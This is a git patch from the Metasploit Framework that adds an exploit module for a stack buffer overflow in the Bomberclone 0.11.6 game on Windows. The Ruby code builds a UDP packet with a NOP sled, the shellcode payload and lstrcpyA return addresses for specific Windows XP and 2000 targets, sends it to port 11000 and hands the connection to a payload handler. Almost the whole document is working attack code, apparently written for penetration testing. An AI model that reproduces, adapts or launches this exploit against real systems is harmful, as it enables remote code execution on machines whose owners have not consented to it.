From 0a52601435a12075c4d9022dc54554d5c8d64a3d Mon Sep 17 00:00:00 2001 From: Matt Miller Date: Thu, 28 Dec 2006 06:17:56 +0000 Subject: [PATCH] ported, untested git-svn-id: file:///home/svn/framework3/trunk@4233 4d416f70-5f16-0410-b530-b9f4589650da --- .../windows/misc/bomberclone_overflow.rb | 71 +++++++++++++++++++ 1 file changed, 71 insertions(+) create mode 100644 modules/exploits/windows/misc/bomberclone_overflow.rb diff --git a/modules/exploits/windows/misc/bomberclone_overflow.rb b/modules/exploits/windows/misc/bomberclone_overflow.rb new file mode 100644 index 0000000000..10e84fbca5 --- /dev/null +++ b/modules/exploits/windows/misc/bomberclone_overflow.rb @@ -0,0 +1,71 @@ +require 'msf/core' + +module Msf + +class Exploits::Windows::Misc::BomberCloneOverflow < Msf::Exploit::Remote + + include Exploit::Remote::Udp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Bomberclone 0.11.6 Buffer Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows. + The return address is overwritten with lstrcpyA memory address, + the second and third value are the destination buffer, + the fourth value is the source address of our buffer in the stack. + This exploit is like a return in libc. + + ATTENTION + The shellcode is exec ONLY when someone try to close bomberclone. + }, + 'Authors' => 'Jacopo Cervini ', + 'Version' => '$Revision: 1.0 $', + 'References' => + [ + ['OSVDB', '23263'], + ['BID', '16697'], + ['URL', 'http://www.frsirt.com/english/advisories/2006/0643' ], + ], + 'Payload' => + { + 'Space' => 344, + 'BadChars' => "\x00" + }, + 'Platform' => 'win', + 'Targets' => + [ + ['Windows XP SP2 Italian', { 'Ret' => 0x7c80c729, } ], # kernel32!lstrcpyA + ['Windows 2000 SP1 English', { 'Ret' => 0x77e85f08, } ], # kernel32!lstrcpyA + ['Windows 2000 SP1 English', { 'Ret' => 0x77e95e8b, } ], # kernel32!lstrcpyA + ], + + 'Privileged' => false, + 'DisclosureDate' => 'Feb 16 2006' + )) + + register_options([ Opt::RPORT(11000) ], self.class) + end + + def exploit + connect_udp + + pattern = make_nops(421) + pattern << payload.encoded + pattern << [ target.ret ].pack('V') + pattern << "\x04\xec\xfd\x7f" * 2 + pattern << "\xa4\xfa\x22\x00" + + request = "\x00\x00\x00\x00\x38\x03\x41" + pattern + "\r\n" + + print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret }...") + + udp_sock.put(request) + udp_sock.get + + handler(udp_sock) + disconnect_udp + end + +end +end